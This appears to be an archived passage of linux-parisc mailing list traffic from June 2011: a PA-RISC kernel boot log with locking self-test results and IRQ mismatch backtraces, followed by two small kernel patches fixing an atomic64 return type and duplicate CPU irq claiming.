pcpu-alloc: [0] 16 [0] 17 [0] 18 [0] 19 [0] 20 [0] 21 [0] 22 [0] 23 
pcpu-alloc: [0] 24 [0] 25 [0] 26 [0] 27 [0] 28 [0] 29 [0] 30 [0] 31 
SMP: bootstrap CPU ID is 0
Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2585095
Kernel command line: root=/dev/sda5 console=ttyS1 HOME=/ palo_kernel=2/vmlinux
PID hash table entries: 4096 (order: 3, 32768 bytes)
Dentry cache hash table entries: 2097152 (order: 12, 16777216 bytes)
Inode-cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Memory: 10278020k/10483712k available (3278k kernel code, 205692k reserved, 1421k data, 212k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
      .init : 0x000000004065c000 - 0x0000000040691000   ( 212 kB)
      .data : 0x0000000040433890 - 0x0000000040596ed0   (1421 kB)
      .text : 0x0000000040100000 - 0x0000000040433890   (3278 kB)
Hierarchical RCU implementation.
NR_IRQS:128
Console: colour dummy device 160x64
------------------------
| Locking API testsuite:
----------------------------------------------------------------------------
                                 | spin |wlock |rlock |mutex | wsem | rsem |
  --------------------------------------------------------------------------
                     A-A deadlock:failed|failed|  ok  |failed|failed|failed|
                 A-B-B-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-B-C-C-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-C-A-B-C deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-B-C-C-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-C-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
                    double unlock:failed|failed|failed|  ok  |failed|failed|
                  initialize held:failed|failed|failed|failed|failed|failed|
                 bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |
  --------------------------------------------------------------------------
              recursive read-lock:             |  ok  |             |failed|
           recursive read-lock #2:             |  ok  |             |failed|
            mixed read-write-lock:             |failed|             |failed|
            mixed write-read-lock:             |failed|             |failed|
  --------------------------------------------------------------------------
     hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/12:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/21:failed|failed|  ok  |
         hard-safe-A + irqs-on/12:failed|failed|  ok  |
         soft-safe-A + irqs-on/12:failed|failed|  ok  |
         hard-safe-A + irqs-on/21:failed|failed|  ok  |
         soft-safe-A + irqs-on/21:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |
      hard-irq lock-inversion/123:failed|failed|  ok  |
      soft-irq lock-inversion/123:failed|failed|  ok  |
      hard-irq lock-inversion/132:failed|failed|  ok  |
      soft-irq lock-inversion/132:failed|failed|  ok  |
      hard-irq lock-inversion/213:failed|failed|  ok  |
      soft-irq lock-inversion/213:failed|failed|  ok  |
      hard-irq lock-inversion/231:failed|failed|  ok  |
      soft-irq lock-inversion/231:failed|failed|  ok  |
      hard-irq lock-inversion/312:failed|failed|  ok  |
      soft-irq lock-inversion/312:failed|failed|  ok  |
      hard-irq lock-inversion/321:failed|failed|  ok  |
      soft-irq lock-inversion/321:failed|failed|  ok  |
      hard-irq read-recursion/123:  ok  |
      soft-irq read-recursion/123:  ok  |
      hard-irq read-recursion/132:  ok  |
      soft-irq read-recursion/132:  ok  |
      hard-irq read-recursion/213:  ok  |
      soft-irq read-recursion/213:  ok  |
      hard-irq read-recursion/231:  ok  |
      soft-irq read-recursion/231:  ok  |
      hard-irq read-recursion/312:  ok  |
      soft-irq read-recursion/312:  ok  |
      hard-irq read-recursion/321:  ok  |
      soft-irq read-recursion/321:  ok  |
--------------------------------------------------------
144 out of 218 testcases failed, as expected. |
----------------------------------------------------
Calibrating delay loop... 1594.36 BogoMIPS (lpj=3188736)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 256
Brought up 1 CPUs
atomic64 test passed
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
3. Storm Peak Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x887, 0x00004 }
4. Storm Peak Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x887, 0x00004 }
5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
Releasing cpu 1 now, hpa=fffffffffe781000
FP[1] enabled: Rev 1 Model 20
IRQ handler type mismatch for IRQ 64
current handler: timer
Backtrace:
 [<0000000040116540>] dump_stack+0x18/0x28
 [<000000004019fa5c>] __setup_irq+0x584/0x590
 [<000000004019fd58>] setup_irq+0x58/0xc8
 [<0000000040662554>] init_IRQ+0xac/0x138
 [<0000000040663628>] smp_cpu_init+0x140/0x160
 [<000000004066366c>] smp_callin+0x24/0x78
 [<0000000040146c30>] enqueue_task_fair+0x58/0x70
 [<0000000040146f7c>] pick_next_entity+0x84/0x118

IRQ handler type mismatch for IRQ 65
current handler: IPI
Backtrace:
 [<0000000040116540>] dump_stack+0x18/0x28
 [<000000004019fa5c>] __setup_irq+0x584/0x590
 [<000000004019fd58>] setup_irq+0x58/0xc8
 [<0000000040662590>] init_IRQ+0xe8/0x138
 [<0000000040663628>] smp_cpu_init+0x140/0x160
 [<000000004066366c>] smp_callin+0x24/0x78
 [<0000000040146c30>] enqueue_task_fair+0x58/0x70
 [<0000000040146f7c>] pick_next_entity+0x84/0x118

Releasing cpu 2 now, hpa=fffffffffe798000
FP[2] enabled: Rev 1 Model 20
IRQ handler type mismatch for IRQ 64
current handler: timer
Backtrace:
 [<0000000040116540>] dump_stack+0x18/0x28
 [<000000004019fa5c>] __setup_irq+0x584/0x590
Releasing cpu 3 now, hpa=fffffffffe799000
 [<000000004019fd58>] setup_irq+0x58/0xc8
 [<0000000040662554>] init_IRQ+0xac/0x138
 [<0000000040663628>] smp_cpu_init+0x140/0x160
 [<000000004066366c>] smp_callin+0x24/0x78
 [<00000000401170c0>] schedule+0x240/0x530
 [<0000000040179e88>] kthread+0x98/0xd8
 [<000000004010407c>] ret_from_kernel_thread+0x24/0x40

IRQ handler type mismatch for IRQ 65
current handler: IPI
Backtrace:
 [<0000000040116540>] dump_stack+0x18/0x28
 [<000000004019fa5c>] __setup_irq+0x584/0x590
 [<000000004019fd58>] setup_irq+0x58/0xc8
 [<0000000040662590>] init_IRQ+0xe8/0x138
 [<0000000040663628>] smp_cpu_init+0x140/0x160
 [<000000004066366c>] smp_callin+0x24/0x78
 [<00000000401170c0>] schedule+0x240/0x530
 [<0000000040179e88>] kthread+0x98/0xd8
FP[3] enabled: Rev 1 Model 20
 [<000000004010407c>] ret_from_kernel_thread+0x24/0x40

IRQ handler type mismatch for IRQ 64
CPU(s): 4 x PA8800 (Mako) at 800.006400 MHz
current handler: timer
Backtrace:
 [<0000000040116540>] dump_stack+0x18/0x28
 [<000000004019fa5c>] __setup_irq+0x584/0x590
 [<000000004019fd58>] setup_irq+0x58/0xc8
 [<0000000040662554>] init_IRQ+0xac/0x138
 [<0000000040663628>] smp_cpu_init+0x140/0x160
 [<000000004066366c>] smp_callin+0x24/0x78
 [<00000000401170c0>] schedule+0x240/0x530
 [<0000000040179e88>] kthread+0x98/0xd8
 [<000000004010407c>] ret_from_kernel_thread+0x24/0x40

IRQ handler type mismatch for IRQ 65
current handler: IPI
Backtrace:
 [<0000000040116540>] dump_stack+0x18/0x28
 [<000000004019fa5c>] __setup_irq+0x584/0x590
 [<000000004019fd58>] setup_irq+0x58/0xc8
 [<0000000040662590>] init_IRQ+0xe8/0x138
 [<0000000040663628>] smp_cpu_init+0x140/0x160
 [<000000004066366c>] smp_callin+0x24/0x78
 [<00000000401170c0>] schedule+0x240/0x530
 [<0000000040179e88>] kthread+0x98/0xd8
 [<000000004010407c>] ret_from_kernel_thread+0x24/0x40

Whole cache flush 59429611 cycles, flushing 5836800 bytes 583933 cycles
Setting cache flush threshold to 2000000 (4 CPUs online)
SBA found Pluto 2.3 at 0xfffffffffed00000
Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
pci 0000:00:01.0: [1033:0035] type 0 class 0x000c03
pci 0000:00:01.0: reg 10: [mem 0x80002000-0x80002fff]
pci 0000:00:01.0: supports D1 D2
pci 0000:00:01.0: PME# supported from D0 D1 D2 D3hot
pci 0000:00:01.0: PME# disabled
pci 0000:00:01.1: [1033:0035] type 0 class 0x000c03
pci 0000:00:01.1: reg 10: [mem 0x80001000-0x80001fff]
pci 0000:00:01.1: supports D1 D2
pci 0000:00:01.1: PME# supported from D0 D1 D2 D3hot
pci 0000:00:01.1: PME# disabled
pci 0000:00:01.2: [1033:00e0] type 0 class 0x000c03
pci 0000:00:01.2: reg 10: [mem 0x80000000-0x800000ff]
pci 0000:00:01.2: supports D1 D2
pci 0000:00:01.2: PME# supported from D0 D1 D2 D3hot
pci 0000:00:01.2: PME# disabled
pci 0000:00:02.0: [1095:0649] type 0 class 0x000101
pci 0000:00:02.0: reg 10: [io  0x0d18-0x0d1f]
pci 0000:00:02.0: reg 14: [io  0x0d24-0x0d27]
pci 0000:00:02.0: reg 18: [io  0x0d10-0x0d17]
pci 0000:00:02.0: reg 1c: [io  0x0d20-0x0d23]
pci 0000:00:02.0: reg 20: [io  0x0d00-0x0d0f]
pci 0000:00:02.0: supports D1 D2
Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
pci 0000:20:01.0: [1000:0021] type 0 class 0x000100
pci 0000:20:01.0: reg 10: [io  0x2100-0x21ff]
pci 0000:20:01.0: reg 14: [mem 0x90015000-0x900153ff 64bit]
pci 0000:20:01.0: reg 1c: [mem 0x90012000-0x90013fff 64bit]
pci 0000:20:01.0: supports D1 D2
pci 0000:20:01.1: [1000:0021] type 0 class 0x000100
pci 0000:20:01.1: reg 10: [io  0x2000-0x20ff]
pci 0000:20:01.1: reg 14: [mem 0x90014000-0x900143ff 64bit]
pci 0000:20:01.1: reg 1c: [mem 0x90010000-0x90011fff 64bit]
pci 0000:20:01.1: supports D1 D2
pci 0000:20:02.0: [14e4:1645] type 0 class 0x000200
pci 0000:20:02.0: reg 10: [mem 0x90000000-0x9000ffff 64bit]
pci 0000:20:02.0: PME# supported from D3hot D3cold
pci 0000:20:02.0: PME# disabled
Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
pci 0000:e0:01.0: [103c:1290] type 0 class 0x000780
pci 0000:e0:01.0: reg 18: [mem 0xf4051000-0xf405100f]
pci 0000:e0:01.1: [103c:1048] type 0 class 0x000700
pci 0000:e0:01.1: reg 10: [mem 0xf4050000-0xf4050fff]
pci 0000:e0:01.1: reg 18: [mem 0xf4020000-0xf403ffff pref]
pci 0000:e0:02.0: [1002:5159] type 0 class 0x000300
pci 0000:e0:02.0: reg 10: [mem 0xf0000000-0xf3ffffff pref]
pci 0000:e0:02.0: reg 14: [io  0xe000-0xe0ff]
pci 0000:e0:02.0: reg 18: [mem 0xf4040000-0xf404ffff]
pci 0000:e0:02.0: reg 30: [mem 0xf4000000-0xf401ffff pref]
pci 0000:e0:02.0: supports D1 D2
LBA: Truncating lmmio_space [fffffffff0000000/fffffffffecffffe] to [fffffffff0000000,fffffffffe77ffff]
powersw: Soft power switch support not available.
bio: create slab <bio-0> at 0
vgaarb: device added: PCI:0000:e0:02.0,decodes=io+mem,owns=io+mem,locks=none
vgaarb: loaded
vgaarb: bridge control possible 0000:e0:02.0
NET: Registered protocol family 2
IP route cache hash table entries: 524288 (order: 10, 4194304 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
UDP hash table entries: 8192 (order: 6, 262144 bytes)
UDP-Lite hash table entries: 8192 (order: 6, 262144 bytes)
NET: Registered protocol family 1
PCI: CLS 64 bytes
Trying to unpack rootfs image as initramfs...
Freeing initrd memory: 10066k freed
Performance monitoring counters enabled for Storm Peak Slow
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
msgmni has been set to 20093
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
start plist test
end plist test
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 73) is a 16550A
0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 73) is a 16550A
console [ttyS1] enabled, bootconsole disabled
0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 73) is a 16550A
0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 73) is a 16550A
Linux agpgart interface v0.103
brd: module loaded
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
mousedev: PS/2 mouse device common for all mice
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
TCP cubic registered
No RTC device found, ALARM timers will not wake from suspend
rtc-generic rtc-generic: setting system clock to 2011-06-11 00:47:41 UTC (1307753261)
Freeing unused kernel memory: 212k freed
SCSI subsystem initialized
libata version 3.00 loaded.
pata_cmd64x 0000:00:02.0: Secondary port is disabled
sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 70
scsi0 : pata_cmd64x
scsi2 : pata_cmd64x
ata1: PATA max UDMA/100 cmd 0xd18 ctl 0xd24 bmdma 0xd00 irq 69
ata2: DUMMY
pata_cmd64x: active 10 recovery 10 setup 3.
pata_cmd64x: active 10 recovery 10 setup 3.
ata1.00: ATAPI: DW-224E, C.0B, max UDMA/33
pata_cmd64x: active 3 recovery 1 setup 1.
sym0: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi1 : sym-2.2.3
ata1.00: configured for UDMA/33
scsi 0:0:0:0: CD-ROM            TEAC     DW-224E          C.0B PQ: 0 ANSI: 5
sr0: scsi3-mmc drive: 24x/24x writer cd/rw xa/form2 cdda tray
cdrom: Uniform CD-ROM driver Revision: 3.20
sr 0:0:0:0: Attached scsi CD-ROM sr0
sr 0:0:0:0: Attached scsi generic sg0 type 5
scsi 1:0:0:0: Direct-Access     FUJITSU  MAJ3364MC        HP12 PQ: 0 ANSI: 2
scsi target1:0:0: tagged command queuing enabled, command queue depth 16.
scsi target1:0:0: Beginning Domain Validation
scsi target1:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 62)
scsi target1:0:0: Ending Domain Validation
scsi 1:0:0:0: Attached scsi generic sg1 type 0
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 71
sym1: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi3 : sym-2.2.3
tg3.c:v3.119 (May 18, 2011)
sd 1:0:0:0: [sda] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
sd 1:0:0:0: [sda] Write Protect is off
sd 1:0:0:0: [sda] Mode Sense: ab 00 10 08
sd 1:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FUA
 sda: sda1 sda2 sda3 < sda5 sda6 sda7 >
sd 1:0:0:0: [sda] Attached SCSI disk
tg3 0000:20:02.0: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:16:4d
tg3 0000:20:02.0: eth0: attached PHY is 5701 (10/100/1000Base-T Ethernet) (WireSpeed[1], EEE[0])
tg3 0000:20:02.0: eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] TSOcap[0]
tg3 0000:20:02.0: eth0: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
EXT3-fs: barriers not enabled
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda5): mounted filesystem with writeback data mode
udev[989]: starting version 164
Adding 979928k swap on /dev/sda6.  Priority:-1 extents:1 across:979928k 
EXT3-fs (sda5): using internal journal
loop: module loaded
EXT3-fs: barriers not enabled
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda7): using internal journal
EXT3-fs (sda7): mounted filesystem with writeback data mode
NET: Registered protocol family 10
ADDRCONF(NETDEV_UP): eth0: link is not ready
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
tg3 0000:20:02.0: eth0: Link is up at 100 Mbps, full duplex
tg3 0000:20:02.0: eth0: Flow control is off for TX and off for RX
ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
eth0: no IPv6 routers present

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc, fix return type of __atomic64_add_return
Date: Sat, 11 Jun 2011 14:42:06 -0400
Organization: nrc.ca
Lines: 35
Approved: news@gmane.org
Message-ID: <20110611184205.GA27903@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307817747 9163 80.91.229.12 (11 Jun 2011 18:42:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Jun 2011 18:42:27 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, jejb@parisc-linux.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 11 20:42:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVT8N-0006Hw-RO
	for glpp-linux-parisc@lo.gmane.org; Sat, 11 Jun 2011 20:42:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752437Ab1FKSmJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jun 2011 14:42:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2682 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751730Ab1FKSmI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jun 2011 14:42:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id F22E7531A; Sat, 11 Jun 2011 14:42:06 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3779
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3779>

The return type of __atomic64_add_return of should be s64 or long, not
int.  This fixes the atomic64 test failure that I previously reported.

Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index f819559..26fd114 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -259,10 +259,10 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 
 #define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
 
-static __inline__ int
+static __inline__ s64
 __atomic64_add_return(s64 i, atomic64_t *v)
 {
-	int ret;
+	s64 ret;
 	unsigned long flags;
 	_atomic_spin_lock_irqsave(v, flags);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc, don't claim cpu irqs more than once
Date: Sat, 11 Jun 2011 14:55:24 -0400
Organization: nrc.ca
Lines: 35
Approved: news@gmane.org
Message-ID: <20110611185524.GA1369@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307818537 13180 80.91.229.12 (11 Jun 2011 18:55:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Jun 2011 18:55:37 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, jejb@parisc-linux.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 11 20:55:29 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVTLE-0002R0-BS
	for glpp-linux-parisc@lo.gmane.org; Sat, 11 Jun 2011 20:55:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752276Ab1FKSz1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jun 2011 14:55:27 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2689 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751679Ab1FKSz1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jun 2011 14:55:27 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9232C531A; Sat, 11 Jun 2011 14:55:25 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3780
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3780>

The CPU irqs (timer and IPI) are not shared and only need to be claimed
once.  A mismatch error occurs if they are claimed more than once.

Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..8293704 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -393,6 +393,12 @@ static struct irqaction ipi_action = {
 static void claim_cpu_irqs(void)
 {
 	int i;
+#ifdef CONFIG_SMP
+	static int irqs_claimed;
+	if (irqs_claimed)
+		return;
+	irqs_claimed = 1;
+#endif
 	for (i = CPU_IRQ_BASE; i <= CPU_IRQ_MAX; i++) {
 		irq_set_chip_and_handler(i, &cpu_interrupt_type,
 					 handle_percpu_irq);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc, don't claim cpu irqs more than once
Date: Sat, 11 Jun 2011 22:20:07 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <1617203.1AoiWjTfrU@donald.sf-tec.de>
References: <20110611185524.GA1369@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart4496845.Rk5gIvoysk"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1307823620 5865 80.91.229.12 (11 Jun 2011 20:20:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Jun 2011 20:20:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca, deller@gmx.de,
	jejb@parisc-linux.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 11 22:20:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVUfE-0002gT-K4
	for glpp-linux-parisc@lo.gmane.org; Sat, 11 Jun 2011 22:20:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751521Ab1FKUUL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jun 2011 16:20:11 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:49063 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751269Ab1FKUUK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
